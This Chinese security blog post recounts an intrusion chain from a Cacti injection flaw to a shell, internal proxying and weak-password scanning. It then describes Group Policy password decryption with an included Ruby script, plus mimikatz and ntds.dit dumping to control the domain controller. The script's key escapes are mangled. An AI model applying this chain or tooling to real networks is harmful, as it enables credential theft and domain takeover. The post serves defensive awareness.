Cacti监控系统注入漏洞引发的内网血案

摘要

安全是个整体，任何一个短板都会造成安全事故，从边界网络到IDC 运维网络再到办公网络，都是个整体每一处网络都不能忽视。

前言：

安全是个整体，任何一个短板都会造成安全事故，从边界网络到IDC 运维网络再到办公网络，都是个整体每一处网络都不能忽视。

企业在为安全做了多层防护不是一个IDS,WAF,杀毒软件安全防护能搞定事，为何内网不堪一击，真有攻击发生时，这些防护策略能否觉察到攻击。

 

案例：注入到shell再到内网域控

整个事件起因是源自 Cacti 注入漏洞引起， Cacti Centreon企业服务器版本2.2->3.0 存在远程SQL注入和远程命令注入漏洞。

 

 

提权GETSHELL 发现到挺有意思的是个内网，是个典型内网服务做了端口路由映射公网。看起来安全做的很高大尚。

 

网络拓扑图：

 

 

通过上图网络架构大概搞清楚目标内网环境，在这时候发现Linux版本Centios  6.5 内核较新 ，放弃对内核提权,没有ROOT 权限， 必需使用一个低权限的工具来执行，并反弹加代理方式把内网环境转发到公网proxy  使用。

此时该台内网机器数据包已经转发到公网上了，接下来操起 proxy 工具开始吧，虽然是内网环境但其实数据是经过外网转一圈回到内网，扫描时候并发不能开太大，很容易触发防火墙规则，并发进程设置为最小，数据包慢慢经过防火墙。

通过一系列服务扫描  从C 段扫描得到N  WEB 服务弱口令，其中有个私有云服务器，接下进入管理界面。

对该云系统继续分析，其中发现一台监控服务器中的发邮件脚本存在密码，拿到密码生成一份字典，又继续对其它内网网段做各种扫描。

 

查看下该台服务器管理员访问记录  SSH 登陆的IP  192.168.XX 就是办公网络地址

拿到办公网一台加域服务器，并利用WINDOWS 组策略配置缺陷获取系统并提升域管理员权限，ruby 脚本解密出Groups.xml 文件AD 域控管理密码 （小编只能说 运气真好 而且密码还竟然TMD的有效？）

C:/Users/All Users/Microsoft/Group Policy/History{A1C0C41B-D2F8-401B-A5D1-437DA197A809}/Machine/Preferences/Groups/Groups.xml

 

安全脉搏SP小编附上ruby版的GPP解密脚本gpp.rb

require 'rubygems' require 'openssl' require 'base64'   encrypted_data = "The Password here(SecPulse.com)"   #encrypted_data = ARGV   def decrypt(encrypted_data)   padding = "=" * (4 - (encrypted_data.length % 4))   epassword = "#{encrypted_data}#{padding}"   decoded = Base64.decode64(epassword)      key = "/x4e/x99/x06/xe8/xfc/xb6/x6c/xc9/xfa/xf4/x93/x10/x62/x0f/xfe/xe8/xf4/x96/xe8/x06/xcc/x05/x79/x90/x20/x9b/x09/xa4/x33/xb6/x6c/x1b"   aes = OpenSSL::Cipher::Cipher.new("AES-256-CBC")   aes.decrypt   aes.key = key   plaintext = aes.update(decoded)   plaintext << aes.final   pass = plaintext.unpack('v*').pack('C*') # UNICODE conversion      return pass  end   blah = decrypt(encrypted_data) puts blah

 

登陆到域控服务器，使用mimikatz dump内存中域管理员帐号和密码，并通过vssown.vbs + libesedb + NtdsXtract 拿到域数据库ntds.dit 和SYSTEM 文件

 

到这步已经控制内网AD域控服务器包括Exchange MAIL

安全思考：

大部份企业安全只做了单维度防护，攻击者利用0DAY 或因安全意识不足造成攻击，通过该攻击进入到企业内部网络，但许多检测系统目前为止还是依靠特征来发现，因此对一些未知的攻击手段必需要有行为去判断，并 且要更多层次的维度来进行，把每个漏洞和黑客攻击手法制定策略并建立起来。

“魔高道高，道高魔高”网络攻防是两者长期博弈“战场”，现如今的安全发展，被动防护同时也要走向“主动防御“思路。

 

【本文来源：Cacti 监控系统注入漏洞引发的血案 作者：wianm  SP小编编辑发布】